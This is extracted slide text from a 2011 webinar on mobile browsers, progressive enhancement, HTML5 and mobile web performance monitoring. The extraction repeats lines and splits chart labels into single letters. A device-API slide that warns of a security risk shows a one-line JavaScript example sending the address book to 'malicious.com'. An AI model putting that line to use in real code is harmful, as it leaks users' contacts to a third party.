Best practices for delivering quality web experiences

State of the mobile web

Peter-Paul Kochhttp://quirksmode.orghttp://twitter.com/ppk

Compuware Webinar , 24 March 2011

Mobile First!• Design your sites for mobile first.

• You’ll be forced to decide what is so important that it MUST be shown in the important that it MUST be shown in the mobile device’s tiny display.

• The things you leave out of the mobile version don’t really need to be in the desktop version, either.

• Safari iPhone

• Android WebKit

• Dolfin for bada

• BlackBerry WebKit

•

• Obigo WebKit

• Ovi

• Bolt

• BlackBerry old

•

The mobile browsers

• Opera Mobile

• Opera Mini

• MicroB

• Nokia WebKit

• Firefox

• Phantom

• Obigo old

• NetFront

• IE

• UCWeb

You may groan now.

• Safari iPhone

• Android WebKit

• Dolfin for bada

• BlackBerry WebKit

•

• Obigo WebKit

• Ovi

• Bolt

• BlackBerry old

•

The mobile browsers

• Opera Mobile

• Opera Mini

• MicroB

• Nokia WebKit

• Firefox

• Phantom

• Obigo old

• NetFront

• IE

• UCWeb

WebKit-based

WebKit on MobileThere is no WebKit on mobile!

There's iPhone Safari (2 and 3), and Android (1.0 and 1.5) and S60 WebKit (v3 and v5) and Blackberry WebKit,and Palm WebKit,and Bolt, Ozone, Teashark, and a few more

These WebKits are all different.

Exhibit A: WebKit comparison tablehttp://quirksmode.org/webkit.html

• Safari iPhone

• Android WebKit

• Dolfin for bada

• BlackBerry WebKit

•

• Obigo WebKit

• Ovi

• Bolt

• BlackBerry old

•

The mobile browsers

• Opera Mobile

• Opera Mini

• MicroB

• Nokia WebKit

• Firefox

• Phantom

• Obigo old

• NetFront

• IE

• UCWeb

• Safari iPhone

• Android WebKit

• Dolfin for bada

• BlackBerry WebKit

•

• Obigo WebKit

• Ovi

• Bolt

• BlackBerry old

•

The mobile browsers

• Opera Mobile

• Opera Mini

• MicroB

• Nokia WebKit

• Firefox

• Phantom

• Obigo old

• NetFront

• IE

• UCWeb

Proxy browsers

Proxy browsers• Page is downloaded to and rendered

on a specialised server.

• A highly compressed image is sent to • A highly compressed image is sent to the client.

• Advantage: cheap, both in device and in network costs

• Disadvantage: no client-side interactivity

Global stats Q4 2010(by StatCounter)

Safari 23% iOS Stable

Opera 22% Many OSs Stable

BlackBerry 18% BlackBerry Down

Nokia 16% Symbian (and S40) StableNokia 16% Symbian (and S40) Stable

Android 12% Android Up

NetFront 4% Sony Ericsson & Samsung Stable

Samsung 1% bada Up

UCWeb 1% Many OSs Down

Others 3%

Browser stats• Those are GLOBAL stats; they are not

necessarily correct for the sites you’re working on. Always check your stats.

•• Social media referrals cause disproportionate iPhone visits; and Android to a lesser degree.

Stats(global, Q4 2010)

But usually this is what happens

Rest? What rest?

Which mobile browsers?

• Safari iPhone

• Opera Mini

• Android WebKit• Android WebKit

• US: BlackBerry (WebKit and older)

• Europe: Nokia WebKit

• Dolfin for bada (easy)

• Opera Mobile (easy)

Progressive enhancement

How do you deal with this immense amount of browsers?

Use advanced tricks, but make sure Use advanced tricks, but make sure your site remains usable without them.

The site is enhanced as much as the browser allows.

Progressive enhancement

HTML

All browsers support HTML. That’s the definition of a browser.

Basic CSS

Progressive enhancement

HTML

Basic CSS

All browsers support most basic CSS. There will be bugs, but only few.

Basic CSS

Advanced CSS

Progressive enhancement

HTML

Basic CSS

Advanced CSS is restricted to advanced browsers. Make sure it contains nothing vital; just nice extras.

Basic CSS

Advanced CSS

Basic JavaScript

Progressive enhancement

HTML

Basic CSS Basic JavaScript

All browsers support basic JavaScript, but they can be slow. Maybe switch off in BB5 and lower.

Basic CSS

Advanced CSS

Basic JavaScript

Advanced JavaScript

Progressive enhancement

HTML

Basic CSS Basic JavaScript

Advanced JavaScript is a problem. Feature detection is your friend. Make sure it contains nothing vital.

CSS animations? Use them.If they don’t work, nothing is lost.

Offline storage? Use it.

Progressive enhancement

Offline storage? Use it.If it doesn’t work, the user reloads the site every time. Not perfect, but it works.

PerformanceHow long does it take to generate 250 lists with 20 items each?

The following graphs give the number of The following graphs give the number of seconds it took the browsers.

http://quirksmode.org/m/tests/DOMspeed.html

Performance

Performance

HTML5• Which browsers support HTML5?

• What is HTML5, anyway?

• Ask five web developers and they’ll • Ask five web developers and they’ll give you five different answers.

HTML5• Offline storage

• Video and audio

• Canvas

• New input types• New input types

• Websockets

• New semantics

• SVG

• File API

• etc. etc. etc.

• Safari iPhone

• Android WebKit

• Dolfin for bada

• BlackBerry WebKit

•

• Obigo WebKit

• Ovi

• Bolt

• BlackBerry old

•

Offline storage

• Opera Mobile

• Opera Mini

• MicroB

• Nokia WebKit

• Firefox

• Phantom

• Obigo old

• NetFront

• IE

• UCWeb

• Safari iPhone

• Android WebKit

• Dolfin for bada

• BlackBerry WebKit

•

• Obigo WebKit

• Ovi

• Bolt

• BlackBerry old

•

SVG

• Opera Mobile

• Opera Mini

• MicroB

• Nokia WebKit

• Firefox

• Phantom

• Obigo old

• NetFront

• IE

• UCWeb

• Safari iPhone

• Android WebKit

• Dolfin for bada

• BlackBerry WebKit

•

• Obigo WebKit

• Ovi

• Bolt

• BlackBerry old

•

New input types

• Opera Mobile

• Opera Mini

• MicroB

• Nokia WebKit

• Firefox

• Phantom

• Obigo old

• NetFront

• IE

• UCWeb

HTML5• Which browsers support HTML5?

• It depends.

• HTML5 is mainly a marketing buzzword.buzzword.

• That’s not bad; we need it.

• But it has no technical meaning.

HTML5 apps• One core app written in HTML,

CSS, and JavaScript.

• Deployed to several mobile platforms.platforms.

• Ideally, CSS and JavaScript are stored on the device.

• If it can't be deployed it's still a website.

Symbian Windows Mobile

I’ve done it. In April 2009.

Device APIs• Native apps offer device APIs.

• They allow you to access the camera, accelerometer, SMS, file system, etc.accelerometer, SMS, file system, etc.

• Web apps will have to offer them, too.

device.phone.call(device.addressBook['mom'])

Device APIs

There’s a serious security problem here.

var ab = device.addressBook.toString();sendRequest(POST,'malicious.com',ab);

Providing trusted apps might remain an app store function.

Summary• Mobile First! Design for mobile, and

your desktop site will become better, too.

• Use progressive enhancement. Lots of it. It will keep you sane.

• Know which browsers to develop for.

Which mobile browsers?

• Safari iPhone

• Opera Mini

• Android WebKit• Android WebKit

• US: BlackBerry (WebKit and older)

• Europe: Nokia WebKit

• Dolfin for bada (easy)

• Opera Mobile (easy)

Thank you

•• Peter-Paul Koch

• http://quirksmode.org

• http://twitter.com/ppk

• Compuware Webinar , 24 March 2011

Steve Tack

CTO APM Solutions

Compuware

Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Browser World

Users Access The Web On A Variety Of Browsers And Devices

Mobile Devices & Browsers Ever More Important

• Morgan Stanley predicts global mobile users will outnumber

desktop internet users within 3 years

1600

1800

2000

Inte

rne

t U

sers

(M

M)

Desktop Users

Mobile Users

Global Mobile vs. Desktop Internet User Projection, 2007 - 2015

Source: Mary Meeker, Morgan Stanley

0

200

400

600

800

1000

1200

1400

2007 2008 2009 2010 2011 2012 2013 2014 2015

Inte

rne

t U

sers

(M

M)

Source: Mary Meeker, Morgan Stanley

Typical Evolution Of A Company’s Mobile Strategy

• Denial – Don’t do anything

– “Mobile Phone Users? Do we have any?”

– “Just have them go to our regular website”

• (Reluctant) Acceptance – Create a minimal mobile website

– “Let’s create a simple version of our website that works across all devices”

– Lowest common denominator approach

• Panic – Get an app store presence as quickly as possible

– “We have to have a native app. Everyone else is doing it”

Limitation

– “We have to have a native app. Everyone else is doing it”

– Create a thin native wrapper around the browser object. Low effort.

Questionable value.

• Contemplation – Fix the native app

– “Wow! These phones can do that?”

– Iteratively replace browser object with native calls, add device-specific

capabilities

• Maturity – Optimize the mobile website

– “Wow! I can do that in a browser? Really?”

– Use the mobile-specific browser capabilities to enhance mobile website

Opportunity

Q

M

F

e

a

t

u

r

e

p

h

o

n

e

Smartphone Owners By Far Most Active Users Of Mobile Web

0% 10% 20% 30% 40% 50% 60% 70% 80% 90%

S

m

a

r

t

p

h

o

n

e

M

D

Daily Weekly Monthly

Source: Forrester Research North American Technographics® Benchmark Surveys, Q2 2010

Different Browsers And Devices Have Different Capabilities

• In turn different browsers offer different experiences - even

amongst high-end, touch screen smartphones

Smartphones Have Redefined Mobile End-Users’ Experience Expectations

• By end of 2011 Nielsen

expects more smartphones

in U.S. than feature phones

• As of November 2010

– 31% of U.S. mobile

subscribers own

smartphonessmartphones

– 45% of recent acquirers chose a smartphone over a feature phone

• Mobile end-users expect

rich, engaging mobile web

experiences

End-Users’ Mobile Experience Expectations Are Increasing

End-Users’ Mobile Experience Expectations Are Often Not Met

• Mobile website performance impacts

business results

– 52% of users are unlikely to return to a site

they had trouble accessing on their phone

• 40% said they’d likely visit a competitor’s website

instead

Social media allows

users to voice & record

their frustration in

real-time, negatively

impacting revenue and

brand equity

Poor Mobile Website Performance Hurts Business

20

25

30

Ab

an

do

nm

en

t R

ate

(%

)

Abandonment Rate

- All Browsers

Abandonment Rate

- iPhone Safari

Abandonment Rate Across 200+ Web Sites / 177+ Million Page

0

5

10

15

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

Ab

an

do

nm

en

t R

ate

(%

)

Page Load Time (sec.)

Source: Gomez real user monitoring

Slower pages = higher abandonment• Reduces revenue

• Increases costs

• Damages brand

Slower pages = higher abandonment• Reduces revenue

• Increases costs

• Damages brand

Cloud

Private Public

Data Center

Virtual/Physical Environment

LocalISP

3rd Party/Cloud Services

Browsers Customers

The Application Delivery Chain

Delivering Quality Mobile Web Experiences Is Difficult - Solution: Adopt Your End-Users' POV

• Inconsistent geo performance• Bad performance under load• Blocking content delivery • Poorly

performing

• Resource contention

• Capacity issues• Slow bursting

Employees

Mainframe

Storage

Web Services

Mobile Components

Web Servers

App Servers

DB Servers

Load Balancers

WANOptimization

Network

Mobile Carrier

Content Delivery Networks

Devices

MajorISP

Employees

• Network peering problems

• Outages

• Blocking content delivery

• Configuration issues• Oversubscribed POP• Poor routing optimization• Low cache hit rate

• Network peering problems

• Bandwidth throttling

• Inconsistent connectivity

• Poorly performing JavaScript

• Browser/ device incompatibility

• Pages too big• Low cache

hit rate

• Network resource shortage • Faulty content transcoding • SMS routing / latency issues

• Poorly performing Java or .NET methods

• Slow SQL or Web services transactions

• Server performance

• Network problems

• Bandwidth contention

• Improper load balancing

Customer/user point of view

Know Your End-Users

• Can mobile end-users complete key transactions?– While on the move– Often one-handed– With intermittent network/GPS connections

• What devices and browsers do they use?

What networks are they on?• What networks are they on?

• What are their usage patterns?

• What is their geographic location?

• What is their context?

• What are their objectives?

Browsers Are Evolving

• HTML5 support

– Application cache, canvas,

audio, video, local storage,

geo-location, etc.

• CSS3 support

–Web fonts, animations,

gradients, shadows, etc.gradients, shadows, etc.

• Performance improvements

– Faster JavaScript processing

– Parallel download of JS scripts

– More parallel connections

– Resource pre-fetching

– Multi-threading in JS

Leverage Browser Capabilities To Improve Perceived Performance

• Fewer steps to complete an end-user goal equals better

perceived performance from an end-users’ perspective

Ensure Mobile Web Applications Function As Intended Across All The Devices Your Customers Use

iOS 4.1 – iPhone 3GSBlackBerry OS 5 – Storm 2Android 2.2 – Nexus One

Embrace A “One Web” Application Performance Management Approach

• Mobile websites and applications often share backend infrastructure and

services with existing web apps

• Important to leverage established and common best practices, metrics

and technologies for both mobile and web channels

– Garner operational efficiencies

– Identify mobile specific problems, web specific problems or both across the

entire application delivery chain - from device to datacenteriPad & Safari

entire application delivery chain - from device to datacenteriPad & Safari

Windows 7 & ChromeiPhone AppiPhone & Safari

How To Deliver Quality Web Experiences In A Mobile, Multi-Browser World

• Adopt your end-users' point of view

• Know your end-users

• Tailor your mobile experience to meet your end-

users' objectives

• Leverage browser capabilities to improve perceived • Leverage browser capabilities to improve perceived

performance

• Ensure mobile web applications function as

intended across all the devices your customers use

• Embrace a “One Web” application performance

management approach

Questions?

• Increased revenue 25%

• Reduced revenue loss by 92% and $737,251 annually

• Reduced home page load time from 11.3 seconds to 3.4 seconds

Compuware Customers Enjoy Measurable Benefits

to 3.4 seconds

• Saved 50%+ in staff and fees

• Reduced downtime 45%

• Improved first-hour problem resolution rate to 80%

• Improved annual troubleshooting efficiency by 97%, saving $784,000

• Reduced SAP license costs by $475,000 per year

For more information visit Gomez.com or contact us at +1 781.778.2700